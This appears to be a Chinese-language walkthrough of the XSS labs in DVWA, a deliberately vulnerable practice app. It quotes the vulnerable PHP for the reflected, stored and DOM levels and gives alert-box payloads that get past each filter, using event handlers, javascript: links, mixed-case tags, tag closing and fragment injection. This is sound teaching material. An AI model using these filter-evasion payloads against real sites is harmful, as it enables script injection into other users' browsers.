DVWA -xss

news2024/11/17 12:58:35

什么是XSS

跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击,攻击者可以在合法网站或Web应用程序中执行恶意脚本。当wb应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。
跨站脚本攻击,XSS(Cross Site Scripting)。由于与CSS(Cascading Style Sheet))重名,所以就更名为
XSS。
XSS作为OWASP TOP10(2017)内容之一,主要使用JavaSript来完成恶意攻击的行为,JS可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS攻击“想象"空间非常大。也就是说,JS强大的灵活性和功能,为XSS攻击提供了非常广阔的攻击面。

  • XSS攻击利用的是Javascript代码;
  • Javascript运行环境(解释器)是浏览器,因为浏览器中有一个引擎专门解释运行Javascript的(chrom v8引擎 );
  • XSS攻击的是客户端浏览器

XSS攻击模型

XSS 通过将精心构造的代码(JavaScript)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。

整个XSS 攻击过程,涉及三个角色:

  • 服务器

  • 攻击者

  • 客户端浏览器用户(前端)

攻击流程:

  1. 攻击者将XSS代码注入到web服务器中
  2. 受害者访问被注入的网页,网页资源加载到受害者浏览器中,浏览器发现加载内容包含js代码,浏览器就尝试解释执行js代码,一旦执行成功,那么受害者浏览器就遭受了攻击
  3. 攻击后的操作可能是将敏感信息发送给攻击者,攻击者拿到敏感信息后进行恶意欺骗
  4. 核心三步骤:
    • 攻击者向服务器注入恶意代码
    • 受害者访问服务器
    • 受害者执行恶意代码

XSS反射型

low等级

<script>alert('xss')</script>

输入在输入框中

image-20230827134229698

image-20230827134239695

出现弹窗,表示攻击成功。

查看源代码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

发现并没有任何过滤。

Medium等级

输入

<script>alert('xss')</script>

image-20230827134825878

发现将js标签中的内容输出了,可知后端代码将js标签过滤了。

输入js伪协议

<a href=javascript:alert(/xss/)>hello</a>

image-20230827135127741

点击hello,出现弹窗,表示攻击成功

image-20230827135154289

查看源代码


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) //判断$_GET中是否包含name
{
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );//将<script>替换为空

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

发现将<script>替换为空

High等级

输入

<script>alert('xss')</script>

image-20230827140654350

输入

<a href=javascript:alert(/xss/)>hello</a>

image-20230827140850144

输入

<img src="#" onclick='alert(/xss/)'>

image-20230827141640833

点击图像的图标出现弹窗,表示攻击成功。

查看源代码


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );//只要有script就直接过滤,不管是不是大小写混写还是双写都过滤掉,只要标签中包含script就过滤。所以使用事件。

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

只要有script就直接过滤,不管是不是大小写混写还是双写都过滤掉,只要标签中包含script就过滤。所以使用事件,但是事件不能单独存在,所以要跟一个标签,这里使用img标签

XSS存储型

low等级

输入姓名,在留言处输入xss注入代码

<script>alert(/xss/)</script>

1

image-20230827143624795

查看源代码


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

说明:

  • trim(string,charlist) :移除字符串两侧的空白字符或其他预定义字符
  • stripslashes(string): 删除反斜杠"/"
  • mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

Medium等级

点击clear将Low等级的内容清理掉

image-20230827145254166

上传

<script>alert(/xss/)</script>

内容被过滤了

image-20230827145516187

查看源代码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

说明:

  • addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ’ 、" 、\ 、NULL。
  • strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签。
  • htmlspecialchars(string): 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素。

发现Message使用htmlspecialchars将一些特殊字符过滤了并且strip_tags函数把<script>标签给剥除了,addslashes函数把 ’ 转义成了 \ ’

虽然Message被过滤了,但是name只过滤了<script>可以在name中进行xss注入

但是前端代码中那么字段内容限制在10字符内,所以在前端中进行修改将10改为100

image-20230827152259496

name中输入

<a href =javascript:alert(/xss/)>hello</a>

image-20230827152518089

点击hello出现弹窗,说明攻击成功

因为name之过滤了<script>那么是用大小写混写进行绕过

<sCRipt>alert(/xss/)</sCRipt>

image-20230827153002561

image-20230827152922551

High等级

查看源代码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

可以看到,high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,因此只需要换一个同样能进行弹窗的标签即可。

首先修改页面中的Name参数长度为100,然后输入如下命令

在name中输入

<img src="#" onclick='alert(/xss/)'>

使用事件进行xss注入

image-20230827153736831

image-20230827153802247

XSSdom型

XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS。与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生。除了js,flash等脚本语言也有可能存在XSS漏洞。

DOM是JS操作网页的接口,全称为“文档对象模型”(Document Object Model)。它的作用是将网页转为一个JS对象,从而可以用脚本进行各种操作(比如增删内容)。

Low等级

查看源码

<?php

# No protections, anything goes

?>

没有任何过滤、只是将表单的输入打印出来,那就意味着可以在url中输入JavaScript脚本来执行。

http://192.168.16.136/dv/vulnerabilities/xss_d/?default=English<script>alert('xss')</script>

image-20230903184716063

Medium等级

查看源代码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

发现在这个里面再一次对<script>标签进行了替换。无法使用之前的方式进行XSS攻击

检查前端html语句。

image-20230903185126478

value的值是从这个当中选出来的,那么可以通过构造闭合来执行语句。

尝试使用img标签

<img src=1 οnerrοr=alert("xss")>

输入后发现页面没有变化

查看页面代码,发现构造的语句已经被插入到了value当中,不能成功执行的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套构造的img标签的,因此需要先将前面的select标签和option标签都闭合后才能使用img标签。

image-20230903185825991

</select></option><img src=1 οnerrοr=alert('xss');>

image-20230903190918848

High等级

查看源码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

此处使用了白名单过滤,只允许传的 default值为 French English German Spanish 其中一个。

只能找方法绕过服务器端的处理,直接在本地运行构造的语句,可以过“#”来注释掉后面的内容,因为URL栏中的“#”之后的内容不会被发送到服务器当中去,不会经过JS的过滤,只在客户端显示,可以直接与浏览器进行交互。

#<script>alert('xss');</script>

image-20230903191242207

如果没反应就刷新页面。

也可以使用& 拼接另一个参数(随便定义),也就是双参数绕过。

&=<script>alert('xj')</script>

image-20230903191435702

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1065537.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Docker之Dockerfile搭建lnmp

目录 一、搭建nginx ​编辑 二、搭建Mysql&#xff08;简略版&#xff09; 三、搭建PHP 五、补充 主机名ip地址主要软件mysql2192.168.11.22Docker 代码示例 systemctl stop firewalld systemctl disable firewalld setenforce 0docker network create --subnet172.18.…

C#封装、继承和多态的用法详解

大家好&#xff0c;今天我们将来详细探讨一下C#中封装、继承和多态的用法。作为C#的三大面向对象的特性&#xff0c;这些概念对于程序员来说非常重要&#xff0c;因此我们将对每个特性进行详细的说明&#xff0c;并提供相应的示例代码。 目录 1. 封装&#xff08;Encapsulati…

009:获取20日均线数据

再《005》中我们获得了K线数据&#xff0c;现在我们要把他的20日均线数据也获取出来。然后通过计算后&#xff0c;保存在新的一列中&#xff1a; import pandas as pd import tkinter as tk from tkinter import filedialog import ospathdef open_file():global pathpath fi…

基于Springboot的漫画网站springboot022

大家好✌&#xff01;我是CZ淡陌。一名专注以理论为基础实战为主的技术博主&#xff0c;将再这里为大家分享优质的实战项目&#xff0c;本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路…

代码随想录 Day13 二叉树 LeetCode T104 二叉树的最大深度 T111 二叉树的最小深度 T222完全二叉树的节点个数

以下题解的更详细思路来自于:代码随想录 (programmercarl.com) 前言 二叉树的高度与深度 这里先补充一下二叉树深度和高度的概念 高度:二叉树中任意一个节点到叶子结点的距离 深度:二叉树中任意一个节点到根节点的距离 下面给出一个图便于理解 获取高度与深度的遍历方式 高度:…

python scanpy spatial空转全流程

Spatial mapping of cell types across the mouse brain (1/3) - estimating reference expression signatures of cell types — cell2location documentation Spatial mapping of cell types across the mouse brain (2/3) - cell2location — cell2location documentation #…

文件扫描模块

文章目录 前言文件扫描模块设计初级扫描方案一实现单线程扫描整合扫描步骤 设计初级扫描方案二周期性扫描 总结 前言 我们这个模块考虑的是数据库里面的内容从哪里获取。 获取完成后&#xff0c;这时候,我们就需要把目录里面文件/子文件都获取出来,并存入数据库。 文件扫描模…

Flask-[项目]-搭建短网址系统:flask实现短网址系统,短网址系统,构建短网址系统

一、项目下载地址 https://gitee.com/liuhaizhang/short-url-systemhttps://gitee.com/liuhaizhang/short-url-system 二、项目搭建 2.1、基本环境安装 1、安装好mysql数据库 2、安装好redis数据 3、安装好python解释器 2.2、项目依赖安装 1、切换到python解释器环境中 …

MES管理系统在制造业中的应用及其核心构成

在制造业的信息化进程中&#xff0c;车间级的信息化一直是其薄弱环节。为了提升车间的自动化水平&#xff0c;发展MES数字化技术成为了有效的途径。MES管理系统强调车间级的过程集成、控制和监控&#xff0c;合理地配置和组织所有资源&#xff0c;以满足车间的信息化需求。它提…

5G商企专网,助力打造城市生命线“安徽样板”

为扎实抓好重点领域安全监管&#xff0c;防范各类生产突发事故发生&#xff0c;近年来&#xff0c;安徽芜湖启动了城市生命线工程项目&#xff0c;致力于打造城市生命线“安徽样板”。 项目建设如火如荼&#xff0c;一些难题也不断涌现。比如&#xff0c;为提升城市安全保障能…

浅谈电动汽车智能充电桩及运营管理云解决方案

贾丽丽 安科瑞电气股份有限公司 上海嘉定 201801 摘要&#xff1a;电动汽车采用了电力作为发动能源&#xff0c;但是同样存在很大缺陷,即续航能力方面存在较大不足。因此如何利用现代技术进行电动汽车的智 能充电便十分重要。在电动汽车智能充 电的研究过程中需要用到的技术有…

Kubernetes概述架构与工作流程简述

文章目录 Kubernetes概述Kubernetes优势Kubernetes 集群组件控制平面组件Node 组件 Kubernetes工作流程下期预告 Kubernetes概述 Kubernetes 是一个可移植、可扩展的开源平台&#xff0c;用于管理容器化的工作负载和服务&#xff0c;可促进声明式配置和自动化。 Kubernetes 拥…

pyppeteer 基本用法和案例

特点 自带chromium 不用自己下载也可以下载&#xff0c;比较省事.比selenium好用 可异步调用 简介 一. pyppeteer介绍 Puppeteer是谷歌出品的一款基于Node.js开发的一款工具&#xff0c;主要是用来操纵Chrome浏览器的 API&#xff0c;通过Javascript代码来操纵Chrome浏览器&am…

Columbus:一个基于API实现的子域名发现服务工具

关于Columbus【点击领取安装包】 Columbus是一款功能强大的子域名发现与枚举工具&#xff0c;该工具基于API实现其功能&#xff0c;并且还提供了很多其他的高级功能。在该工具的帮助下&#xff0c;广大研究人员可以快速且高效地实现子域名枚举任务。 【点击领取安装包】 前端…

接口测试复习Requests PyMysql Dubbo

一。基本概念 接口概念&#xff1a;系统与系统之间 数据交互的通道。 接⼝测试概念&#xff1a;校验 预期结果 与 实际结果 是否⼀致。 特征&#xff1a; 测试⻚⾯测试发现不了的问题。&#xff08;因为&#xff1a;接⼝测试 绕过前端界⾯。 &#xff09; 符合质量控制前移理…

【开发篇】十八、SpringBoot整合ActiveMQ

文章目录 1、安装ActiveMQ2、整合3、发送消息到队列4、使用消息监听器对消息队列监听5、流程性业务消息消费完转入下一个消息队列6、发布订阅模型 1、安装ActiveMQ docker安装 docker pull webcenter/activemqdocker run -d --name activemq -p 61616:61616 -p 8161:8161 webce…

Pikachu靶场——跨站请求伪造(CSRF)

文章目录 1. 跨站请求伪造&#xff08;CSRF&#xff09;1.1 CSRF(get)1.2 CSRF(post)1.3 CSRF Token1.4 CSRF漏洞防御 1. 跨站请求伪造&#xff08;CSRF&#xff09; 还可以参考我的另一篇文章&#xff1a;跨站请求伪造(CSRF) 全称Cross-site request forgery&#xff0c;翻译…

DRM全解析 —— plane详解(1)

本文参考以下博文&#xff1a; Linux内核4.14版本——drm框架分析(5)——plane分析 特此致谢&#xff01; 1. 简介 一个plane代表一个image layer&#xff08;硬件图层&#xff09;&#xff0c;最终的image由一个或者多个plane(s)组成。plane和 Framebuffer 一样是内存地址。…

软信天成:医药企业数据整合难、共享难?这套企业级数据治理体系是关键

在数字化时代&#xff0c;数据已成为企业发展的核心资产。然而&#xff0c;对于拥有十余个业务系统的某大型国有医药企业&#xff08;下文简称案例企业&#xff09;来说&#xff0c;数据整合难、共享难等问题却一直存在。面对庞杂的数据来源和多样化的数据格式&#xff0c;传统…

Datawhale团队第十期录取名单!

Datawhale团队 公示&#xff1a;Datawhale团队成员 Datawhale成立四年了&#xff0c;从一开始的12个人&#xff0c;学习互助&#xff0c;到提议成立开源组织&#xff0c;做更多开源的事情&#xff0c;帮助更多学习者&#xff0c;也促使我们更好地成长。于是有了我们的使命&…